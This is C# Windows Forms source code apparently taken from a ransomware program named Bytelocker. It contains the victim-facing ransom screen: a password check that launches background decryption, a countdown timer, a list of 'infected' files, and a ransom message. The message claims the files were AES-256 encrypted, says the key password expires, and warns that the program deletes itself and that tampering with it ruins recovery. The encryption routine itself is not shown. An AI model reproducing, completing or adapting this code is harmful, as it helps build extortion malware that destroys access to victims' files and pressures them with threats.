private void BtnVerify_Click(object sender, EventArgs e) { pm = new PasswordManager(); pm.FetchPassword(); if (!(tbPassInput.Text == pm.returnPassword())) { MessageBox.Show("Invalid Password", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); } else { tmTimeLeftRefresher.Stop(); BtnVerify.Hide(); lbTimeLeft.Text = ""; rtfInfo.Clear(); tbPassInput.Hide(); lbTitleTime.Hide(); lbTitle.Text = "Decrypting . . ."; lbTitle.Show(); lbCurrentFileDecrypt.Show(); pbDecryptProgress.Show(); progress_bar_inc = pbDecryptProgress.Maximum / rm.ReadAllValues(RegistryManager.FILES_KEY_NAME).Count; tmTimerDecrypt.Start(); new Thread(() => { Thread.CurrentThread.IsBackground = true; Bytelocker.Decrypt(); }).Start(); } pm = null; }
private void BtnNext_Click(object sender, EventArgs e) { rtfInfo.Clear(); llAESInfo.Hide(); llListOfInfectedFiles.Hide(); lbTitle.Hide(); tbPassInput.Show(); btnNext.Hide(); BtnVerify.Show(); rtfInfo.AppendText("Enter password to unlock, then click 'Verify' to begin decryption."); rtfInfo.Select(rtfInfo.GetFirstCharIndexFromLine(0), rtfInfo.Lines[0].Length); rtfInfo.SelectionBullet = true; rtfInfo.DeselectAll(); }
private void MainWindowScreenOne() { lbCurrentFileDecrypt.Hide(); pbDecryptProgress.Hide(); BtnVerify.Hide(); tbPassInput.Hide(); rtfInfo.Clear(); UpdateTime(); llAESInfo.Show(); llListOfInfectedFiles.Show(); lbTitle.Show(); // rtf box rtfInfo.AppendText("Your important files, documents, pictures, etc. Have been encrypted." + "\n\n"); llListOfInfectedFiles.Text = "Here"; llListOfInfectedFiles.AutoSize = true; llListOfInfectedFiles.Location = rtfInfo.GetPositionFromCharIndex(rtfInfo.TextLength); rtfInfo.Controls.Add(llListOfInfectedFiles); rtfInfo.AppendText(llListOfInfectedFiles.Text); rtfInfo.AppendText(new string(' ', 3)); rtfInfo.SelectionStart = rtfInfo.TextLength; rtfInfo.AppendText("is a complete list of encrypted files, you can verify this manually." + "\n\n" + "Encryption was produced" + " using"); llAESInfo.Text = "AES-256"; llAESInfo.AutoSize = true; llAESInfo.Location = rtfInfo.GetPositionFromCharIndex(rtfInfo.TextLength); rtfInfo.Controls.Add(llAESInfo); rtfInfo.AppendText(llAESInfo.Text); rtfInfo.AppendText(new string(' ', 3)); rtfInfo.SelectionStart = rtfInfo.TextLength; rtfInfo.AppendText( "in order to decrypt the files, you need to obtain the password used to generate the key." + "\n\n" + "The password will only be available for a limited time, after this, the program will delete itself and there will be no way to recover encrypted files." + "\n\n"); rtfInfo.AppendText( "NOTE: Removal of or modification of this software will lead to inability to decrypt files."); // end rtf box }